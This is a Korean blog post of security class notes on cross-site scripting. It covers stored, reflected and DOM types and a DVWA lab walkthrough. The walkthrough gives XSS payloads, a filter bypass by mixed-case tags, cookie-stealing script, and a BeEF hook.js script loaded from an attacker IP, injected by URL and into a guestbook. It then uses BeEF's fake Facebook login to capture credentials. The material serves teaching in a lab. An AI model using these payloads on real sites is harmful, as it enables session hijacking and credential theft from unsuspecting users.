ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 12. XSS ( Cross Site Scripting ) ( 수업일 190328 ) ( 글 수정일 190329 )
    Security/WEB Sec 2019. 3. 29. 02:58

    방화벽은 허용되지 않은 모든연결을 막는데, 

     

    시스템 내부에서 요청한 패킷은 나가서 응답되서 돌아올 때 세션이 연결되어 있기 때문에, 방화벽에서 막지 않는다.

    ( 그래서 NC 커맨드로 포트를 오픈시켜놓고, 상대방에게 공격을해, 상대방이 우리의 포트로 연결을 하는 식으로 할때,

    어쨋든 상대방이 우리한태 요청 및 응답 받는 형태이므로, 방화벽에서 막지 않는다. )

     

    그렇기 때문에 중요한 시스템 (서버) 라면 시스템 내부에서 외부로 나가는 패킷도 검사를 해야 한다.

    ( 대부분 외부에서 들어오는 패킷만 검사 )

     

    - OWASP

    https://www.owasp.org/index.php/Main_Page

     

    OWASP

    Every vibrant technology marketplace needs an unbiased source of information on best practices as well as an active body advocating open standards. In the Application Security space, one of those groups is the Open Web Application Security Project™ (or OWA

    www.owasp.org

    세계적인 전문가들이 보안관련 취약점 Top 10을 알려주는 사이트

     

    https://www.owasp.org/images/b/bd/OWASP_Top_10-2017-ko.pdf

    위의 문서에서 좀내리다보면 2017년에 XSS가 7위 였다는걸 볼 수 있다.


    @ XSS ( Cross site Scripting ) 

    악의적인 사용자가 공격하려는 사이트에 스크립트를 넣는 기법을 말한다.

    공격에 성곡하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게되며,

    보통 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감한 정보를 탈취한다.

     

    이때 악성스크립트의 코드는

    대부분 HTML/JavaScript로 작성하지만, VBscript, ActiveX, Java, Flash 또는 기타 브라우저 지원 기술로도 사용 가능하다.

     

     

     

     

    위의 그림에서,

    Attacker 은 해커 이고,

    Victim's server 는 웹서버

    Victim 은 클라이언트이다.

     

    순서대로 보면,

    Attacker 가 Victim's server에 악성 스크립트를 심으면,

    클라이언트는 HTTP 요청을 하고, 응답을 받을때

    악성 스크립트를 함깨받아 실행하게된다.

    그럼 우리는 해당 클라이언트의 여러 정보를 탈취할 수 있다.



    Persistent ( 지속적 ) 기법 ( Stored (저장된) XSS 라고도 불린다. )

    공격자가 심어놓은 악성스크립트 데이터가 서버에 저장된 다음 지속적으로 서비스를 제공하는 "정상"적인 페이지에서 다른사용자 들에게 노출된다.

    해당 취약점이 대표적으로 사용자가 읽을 수 있고, HTML 형식의 메시지를 게시 할 수 있는 온라인 게시판 같은 곳이 해당된다.

     

    Non-Persistent ( 비 지속적 ) 기법 ( Reflected(반사) XSS 라고도 불린다. )

    공격 스크립트가 삽입 된 URL을 사용자가 쉽게 확힌할 수 없도록 변형시킨후

    이메일이나 다른 웹사이트 등에 클릭을 유도하도록 하는 방법

     

    DOM XSS 기법

    DOM은 W3C 표준으로 HTML 및 XML 문서에 접근 방법을 표준으로 정의하는 문서 객체 모델이다.

    공격 과정은 Victim 의 Browser가 HTML 페이지를 구문 분석할 때마다 공격 스크립트가 DOM 생성의 일부로 실행되며서 공격한다. 페이지 자체에는 변화가 없으나 페이지에 포함된 브라우저측 DOM 환경에서 악성코드가 실행된다.

    DOM XSS는 다른 XSS와다르게 서버와 관계없이 발생한다.

     

     


    -------------------------------------------------------

    오늘 내용은 Java Script에 대해서 좀 알아야할 필요가 있음.

     

    - 자바및 여러가지 언어 공부 사이트

    ( https://www.w3schools.com/js/ 

    ( https://www.codecademy.com/ )

    -----------------------------------------------------


    @ XSS 실습

     

    Kali, Meta Start up -> Login

     

    @Kali

     

    Applications -> 03 -> BURPSUITE -> Proxy -> Intercept is off

    Firefox -> meta -> dvwa -> login -> security level : low ->

    -----------------------------------------

    XSS reflected ( Persistent 방법 )

    XSS stored ( non Persistent 방법 )

    -------------------------------------------

    Xss reflected 클릭 -> View Source

     

    Compare 클릭

     

    Low 의 코드를 보면,

    입력한 name 값이, NULL 값이거나 값이없을경우 그냥 끝나고,

    값이 있을경우 Hello [우리가 입력한값] 이 출력된다

     

    Medium : replace 함수가 생겨서 script 라는 단어가 있을시 script를 없애버려라 라고 나옴

    문제 : 코드가 script로 되어있음 , script를 대문자, 소문자 섞어서 쓰면 스크립트에 해당이안되기 때문에

    script 문구를 사용가능.

     

    High :  xss스크립트를 실행안되게하는 가장좋은코드.

    htmlspecialchars 라는 함수를 이용하여 뒤에나오는 <> 등 특수문자를 다른 문자로 치환하게 해서

    코드의 기능을 못하게 만든다.

     

    - XSS reflected

     

    what's your name? 아래 칸에 아래와 같이 입력

    <script language="JavaScript">alert("Welcome");</script>

    ( Script Language는 자바스크립트이고, Welocme라는 경고창을 띄우겠다 라는 뜻 )

    --> submit

    Welcome 라는 문구가 뜬다면 해당사이트는 XSS에대한 취약점이 있는사이트!

     

    이때 url 엔 아래와 같이 입력가능

     

    http://meta/dvwa/vulnerabilities/xss_r/?name=<script language="JavaScript">alert("Welcome");</script>

     

    이게왜 취약점을 찾아내는 방법인가 하니,

    일단 현재 Low 상태에서는 script 라는 것이 먹혀서 Welcome 라는게 표시되기 때문에

    일단 취약점이 있는 것이다.

     

     

    그럼위의 URL 은 URL 인코딩이되어 결국 아래와 같이 표현된다.

    http://meta/dvwa/vulnerabilities/xss_r/?name=%3Cscript%20language=%22JavaScript%22%3Ealert(%22Welcome%22);%3C/script%3E



    %3C = <

    %3D = =

    %22 = "

    %3E = >

    %28 = (

    %3B = ;

    %29 = )

    %2F = /

     

     

     

    그럼 아래와 같은 문구를 URL 에 쳐보자 ( 리플렉터 방식 )

     

    http://meta/dvwa/vulnerabilities/xss_r/?name=<script+language="JavaScript">alert("Welcome to the world");</script>#

     

    그럼 Welcome to the world 가 뜰 것이다!

     




    What's your name? 칸에

    World  를 입력하고 -> Submit

    위처럼 정상적으로 값을 넣었을때 url 을보면 아래처럼 url 이 나온다.

     

    http://meta/dvwa/vulnerabilities/xss_r/?name=World#

     

    네임이라는 파라매터에 월드라는 인자값을 넣어줘서 출력이됨.

    ( 소스코드를 보면 기본적으로 echo 에 hello 가 붙어 있기 때문에 앞에 Hello 라는 글자가 나옴 )




    DVWA Security - > security level : medium -> XSS reflected

    -> http://meta/dvwa/vulnerabilities/xss_r/?name=<script+language="JavaScript">alert("Welcome to the world");</script>#

     

    Medium 코드에는 '<script>'  그니까 <script> 라는 내용이 전부 맞아야 값을 없애므로

    되는게 맞다. ( <script+language="JavaScript"> 이기 때문에 )

     



    http://meta/dvwa/vulnerabilities/xss_r/?name=<script>alert("Welcome to the world");</script>#

    만약 위와같이 URL 을 입력하면

    <script> 가 정확히 일치하기 때문에 Alert 창이 뜨지 않고 공격이 불가하다.

     

    하지만 아래처럼

     

    http://meta/dvwa/vulnerabilities/xss_r/?name=<ScRiPt>alert("Welcome to the world");</sCripT>#

     

    라고위처럼 대문자를 섞어 단순 <script> 를 피해가면 하면 창이뜸



    보안레벨을 high 로 바꾸면 <script> 에서 특수문자인 <> 자체가 먹히지 않기 때문에,

    High로 변경후 아래의 스크립트를 URL 에 입력하면 Alert 창을 출력하지 않고 텍스트로만 출력됨.

     

    http://meta/dvwa/vulnerabilities/xss_r/?name=<ScRiPt>alert("Welcome to the world");</sCripT>#

     

     

    다시 Security Level = Low 로 변경





    @ DOM 방식

     

    XSS reflected -> 아래의 URL 붙여넣기

    http://meta/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie);</script>#

     

    -> 그럼 Security Level 과 SSID (세션아이디) 가 나오는 것을 확인 가능하다!

    ( 세션아이디는 매우 중요한 신분증 같은 존재 )

    ( 미디엄에서 해볼려면 script 를 대소문자 섞어서 실행. )



    @ DOM 방식

     

    http://meta/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.location.href="https://www.w3.org");</sciprt>#

    위의 스크립트를 사용하면, 스크립트 실행시 공격자의 페이지로 이동시켜 악성스크립트를 심어 사용자의 정보를 탈취하는 식으로 사용가능 하다. 하지만 현재 해당페이지는 인증서 때문에 되지 않는다.

     

     

    이제, 취약점을 발견했으니

    웹서버에 대한 정보를 전부 가저올수있는 툴을 소개하도록 하겠다.



    Applications -> favorites -> beef xss xr...

     

    그러면 조금 기달리면 firefox로 어떠한 창이 뜰 것이다.

     

    다시 터미널로가서 아래의 3줄을 복사해서 카피해 놓는다.

     

    [*]  Web UI: http://127.0.0.1:3000/ui/panel

    [*]    Hook: <script src="http://<IP>:3000/hook.js"></script>

    [*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

     

    그러면 아래의 커맨드로 확인해보면,

    #netstat -ant | grep 3000

    ( 3000번 포트가 LISTEN 이 된걸 볼 수 있으며,

    공격자의 3000번 포트를 통해 피해자의 모든정보를 가저올수있는 자바스크립트 파일을 공격자의 3000번포트에 실행하는 웹UI공격툴 이다. )



    1.

    Example 에서 복사 한후

    공격자의 IP로 변경

    <script src="http://192.168.1.120:3000/hook.js"></script>



    2. BeEF 로그인 ( firefox )

     

    Id : beef

    pw : beef



    3. Dvwa -> Low level -> XSS reflected ->

    What's your name? = hello -> Submit

      

    -> 그후 변경되는 URL 카피

    http://meta/dvwa/vulnerabilities/xss_r/?name=hello#



    -> hello# 부분을 지우고 아래 (아까의) 스크립트 붙여넣기

    http://meta/dvwa/vulnerabilities/xss_r/?name=<script src="http://192.168.1.120:3000/hook.js"></script>#

    -> url 창에 붙여넣기

    -> 이제 다시 BeEF 창을  가보면,

    왼쪽 Hooked Browsers 창에,

    Online Browsers -> meta -> 192.168.1.120 라는 정보가 생겼고,

     

    이제 우리는 해당서버의 모든 정보를 BeEF를 통해 우리의 서버 192.168.1.120 으로 긁어오는 것이다.

     

     

    Details, Logs 창을 훑어 보고,

     

    Commands 창을 클릭해보자.

    그럼 이 Commands 창은 우리가 명령을내려 피해자의 서버에 명령을 내릴수 있고 그로인해 또, 정보를 얻을 수 있는 기능인데,

     

    Module Tree 에서 

    -> social Engineering -> Pretty Theft

    -> Pretty Theft ( 맨오른쪽 창 ) -> Dialog Type : Facebook, Backing : grey

    Custom Logo : http://0.0.0.0:3000/ui/media/images/beef.png ( 전부 기본값 그대로 )

    해놓고, 맨오른쪽아래의 Execute 를 눌러보자.

     

    그후, 다시 DVWA 페이지로 가보자.

     

    그럼 페이스북 아이디가 로그아웃 됫다면서 로그인 하라는 창이 뜰 것이다.

    ( 계정 탈취를 위해 이창을 우리가 가짜로 보낸것 )

     

    그럼 사용하지 않는 가짜 아이디 가짜 비밀번호를 입력해서 Login 을 눌러보자.

     

    그후, 다시 BeEF 창으로 와서, Module Results History 탭의 id0번 커맨드 를 눌러보면,

    Command results (맨오른쪽창) 에 우리가 입력했던 계정과, 비밀번호가 넘어온걸 확인 가능!

     

    그 외에, 다른 소셜로 로그인유도, 포트 스캐닝 등등 정보확인도 가능하다!

     

    Social Engineeriing -> Fake Notification Bar ( Firefox ) 를 통해 

    추가적인 스크립트 요구를 띄울수있고 그안에 악성스크립트를 또심어 설치 유도를 할 수 있다.

     

     

    그리고 커맨드들을 보면 왼쪽에 각각 색깔이 다른데,

    Getting Started 탭에 들어가보면 색깔에대한 설명이 나와있다.



    초록 : 명령 모듈은 대상에 대해 작동하며 사용자에게는 보이지 않아야 합니다.

    주황 : 명령 모듈은 대상에 대해 작동하지만 사용자에게 표시 될 수 있습니다.

    회색 : 명령 모듈이 대상에 대해 아직 검증되지 않았습니다.

    빨강 : 명령 모듈이 대상에 대해 작동하지 않습니다.

     

    대충 번역해보면 위와같은 느낌이라고 보면된다.




    이제 이스크립트를

    게시판에다가 아예 저장 시킨후, 게시판에 접속해 그 게시글을 읽는순간 정보가 우리한테오게 할 수 있다.

    http://meta/dvwa/vulnerabilities/xss_r/?name=<script src="http://192.168.1.120:3000/hook.js"></script>#




    DVWA -> XSS stored  ( 실제 DB에 저장하여 게시판 같은 효과를 내준다. )

     

    Message  란에 실제 게시판처럼 악성코드를 심는다고 가정하고,

    위의 스크립트를 넣으려하면 글자 제한이 걸려 있어 다들어가지 않는다.

    브라우저의 기능으로 제한을 풀어보자

     

     

    message- > 우클릭 inspect element ->

     

    mexlength="50" 라는 구문을 찾아서 -> 500 으로변경 (더블클릭) -> X ( 종료 ) 후

    message 에 스크립트 붙여넣기. ( name 필드에는 아무거나 입력 )

    ( 스크립트 : http://meta/dvwa/vulnerabilities/xss_r/?name=<script src="http://192.168.1.120:3000/hook.js"></script># )

    -> Sign Guestbook

     

    현재 URL 이 게시글에 보이지만, URL 자체가 안보이게 할 수도 있다.

     

    Win10 에서 이사이트를 통해 접속해 해당 게시물을 열어,

    WIn10의 정보들이 우리 DB에 넘어오게 해볼 것이다.

    ( 이게시글을 읽은 모든 클라이언트 들의 정보를 DB에서 긁어올 수 있음

    ( 그럼 아까의 BeEF 커맨드 도 사용 가능 해진다. )

     















Designed by Tistory.